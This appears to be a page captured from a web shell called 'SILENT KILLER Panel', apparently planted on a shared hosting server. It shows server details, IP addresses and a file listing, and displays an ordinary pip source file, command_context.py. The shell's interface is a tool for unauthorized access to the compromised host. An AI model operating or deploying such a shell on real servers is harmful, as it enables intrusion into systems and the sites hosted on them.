SILENT KILLERPanel

Current Path: > > opt > alt > python38 > lib > > python3.8 > site-packages > > > pip > _internal > cli


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //opt/alt/python38/lib//python3.8/site-packages///pip/_internal/cli

NameTypeSizeLast ModifiedActions
__pycache__ Directory - -
__init__.py File 132 bytes November 13 2023 21:40:26.
autocompletion.py File 6676 bytes November 13 2023 21:40:26.
base_command.py File 8146 bytes November 13 2023 21:40:26.
cmdoptions.py File 29985 bytes November 13 2023 21:40:26.
command_context.py File 774 bytes November 13 2023 21:40:26.
main.py File 2472 bytes November 13 2023 21:40:26.
main_parser.py File 2614 bytes November 13 2023 21:40:26.
parser.py File 10817 bytes November 13 2023 21:40:26.
progress_bars.py File 1968 bytes November 13 2023 21:40:26.
req_command.py File 18172 bytes November 13 2023 21:40:26.
spinners.py File 5098 bytes November 13 2023 21:40:26.
status_codes.py File 116 bytes November 13 2023 21:40:26.

Reading File: //opt/alt/python38/lib//python3.8/site-packages///pip/_internal/cli/command_context.py

from contextlib import ExitStack, contextmanager
from typing import ContextManager, Generator, TypeVar

_T = TypeVar("_T", covariant=True)


class CommandContextMixIn:
    def __init__(self) -> None:
        super().__init__()
        self._in_main_context = False
        self._main_context = ExitStack()

    @contextmanager
    def main_context(self) -> Generator[None, None, None]:
        assert not self._in_main_context

        self._in_main_context = True
        try:
            with self._main_context:
                yield
        finally:
            self._in_main_context = False

    def enter_context(self, context_provider: ContextManager[_T]) -> _T:
        assert self._in_main_context

        return self._main_context.enter_context(context_provider)

SILENT KILLER Tool